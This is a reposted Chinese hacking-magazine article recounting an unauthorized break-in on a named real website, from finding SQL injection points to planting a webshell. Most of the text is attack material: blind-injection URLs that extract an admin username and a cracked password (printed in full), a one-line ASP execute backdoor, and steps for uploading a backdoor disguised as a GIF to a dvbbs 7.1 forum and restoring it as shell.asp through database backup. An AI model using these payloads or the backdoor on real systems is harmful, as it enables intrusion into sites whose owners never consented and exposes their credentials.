[转载]从挖掘“站长之家”注入点到搞定WebShell一路狂奔
信息来源:黑客防线 [url]http://www.hacker.com.cn[/url]某日,为了找个免费的asp.net空间我转悠到了站长之家[url]http://www.yisou8.com[/url],令人失望的是几条asp.net空间信息根本就没法用,浪费了偶的注册时间,怎“郁闷”两字了得?!
于是,我决定帮忙监测一下网站有没有洞洞?很失望啊,很失望,在网站首页的所有潜在注入点都“试射”了一遍,没有发现一个可以利用的。郁闷之际,看到“美女图库”分栏目,决定进取看看MM图片休闲一下。
图1
一、挖掘注入点
习惯性的再加个单引号[url]http://www.yisou8.com/sucai/index.asp?catid=4[/url]',这次又有了新的发现,幸亏我观察得仔细啊,两次返回的图片不一样,大家看看两次的图片对比。
当提交第一个网址的时候,返回正常页面,提交第二个网址的时候返回另一个页面的信息,这就说明[url]http://www.yisou8.com/sucai/index.asp?catid=4[/url]这个脚本存在SQL注入的漏洞。虽然找到了注入点,但是都是些这么大的图片,返回的信息太慢,于是我决定继续找找看看。打开他的评论看看,是个无框窗口,把地址隐藏了,我们按“Ctrl+N”,地址已经暴漏了[url]http://www.yisou8.com/sucai/review.asp?id=3256[/url],这次直接用and 1=1试试[url]http://www.yisou8.com/sucai/review.asp?id=3256[/url] and 1=1
[url]http://www.yisou8.com/sucai/review.asp?id=3256[/url] and 1=2
第一次正常,第二次空白了,哈哈,找到了理想的注入点,那我们看看他是什么类型的数据库。[url]http://www.yisou8.com/sucai/review.asp?id=3256[/url] and exists (select * from sysobjects)返回空白,说明不存在系统表sysobjects,如果存在就是MSSQL数据库,如果不存在一般就是ACCESS数据库了。很失望啊,看来得到WebShell比较困难啊,毕竟ACCESS比MSSQL的功能少,麻烦ing。
二、猜测表名、字段名、字段值
通过下面语句来猜解表名[url]http://www.yisou8.com/sucai/review.asp?id=3256[/url] and exists (select * from admin)返回正常页面,说明表名正确。通过下面语句来猜解字段名。
[url]http://www.yisou8.com/sucai/review.asp?id=3256[/url] and exists (select admin from admin)
[url]http://www.yisou8.com/sucai/review.asp?id=3256[/url] and exists (select password from admin)
[url]http://www.yisou8.com/sucai/review.asp?id=3256[/url] and exists (select id from admin)
比较顺利,除了admin字段猜了两次username和user外,其他一猜即中。下面的过程是来猜测id的,高手一看即懂。
[url]http://www.yisou8.com/sucai/review.asp?id=3256[/url] and exists (select id from admin where ID between 1000 and 3255)
[url]http://www.yisou8.com/sucai/review.asp?id=3256[/url] and exists (select id from admin where ID between 1000 and 3256)
猜测到id居然就是review.asp?id=3256这个id=3256!检测admin值。
[url]http://www.yisou8.com/sucai/review.asp?id=3256[/url] and exists (select id from admin where len(admin)=5 and ID=3256)
[url]http://www.yisou8.com/sucai/review.asp?id=3256[/url] and exists (select id from admin where asc(mid(admin,1,1))=97 and ID=3256)
第一个字母是’a’,根据经验,一般字段名就是admin,试一下
[url]http://www.yisou8.com/sucai/review.asp?id=3256[/url] and exists (select id from admin where admin='admin' and ID=3256)
正确,猜出字段名admin的值就是“admin”
猜密码值:
[url]http://www.yisou8.com/sucai/review.asp?id=3256[/url] and exists (select id from admin where len(password)=12 and ID=3256)
[url]http://www.yisou8.com/sucai/review.asp?id=3256[/url] and exists (select id from admin where asc(mid(admin,1,1))=97 and ID=3256)
[url]http://www.yisou8.com/sucai/review.asp?id=3256[/url] and exists (select id from admin where asc(mid(password,1,1))>114 and ID=3256)
[url]http://www.yisou8.com/sucai/review.asp?id=3256[/url] and exists (select id from admin where asc(mid(password,1,1))>115 and ID=3256)
最后猜出admin内容是admin,password内容是smrtanujf888
找到后台[url]http://www.yisou8.com/sucai/admin/login.asp[/url]
进去看看。
很遗憾,试了几个地方插入
<%if request(swords)<> then Session(sw)=request(swords)
if Session(sw)<> then execute Session(sw)%>
没有找到可以得到WebShell的地方, 看来是没有办法了,于是回到首页继续逛。一看是动易2005程序,想使得到的密码试一下,居然没有找到后台,@#$%^&*防范得很好,把后台登录地址改了!!痛苦失望流鼻涕中。
惊鸿一瞥啊,我发现最右侧还有个论坛,一看动网的dvbbs7.1.0,《dvbbs7.1照样从后台得到WebShell》刚在八进制论坛看到的!马上一试!
把dvbbsToshell.gif(一个数据库了:里面插入了加密的asp后门,已经放在光盘)选择在发表帖子的那个地方上传。因为这个地方不会检查文gif的特征码。(不要选择在头像上传的地方上传啊。)
记录下上传后的地址UploadFile/2005-7/200571212261232654.gif,点击“管理“到后台,执行数据库备份。
恢复成shell.asp。
执行后门[url]http://bbs.yisou8.com/Databackup/shell.asp[/url]。
写入新的后门[url]http://www.yisou8.com/shell2.asp[/url]测试下功能,完成。
后记:关键是注入点的挖掘和灵活的运用已知的漏洞,over!写完后也是我通知管理员的时候了! 呵呵 文章已经在黑防上看过了 不错 写的很好 提倡手动注入 这样能学到很多东西,比光用工具要好得多,只有这样才能真正掌握sql注入的原理所在。
页:
[1]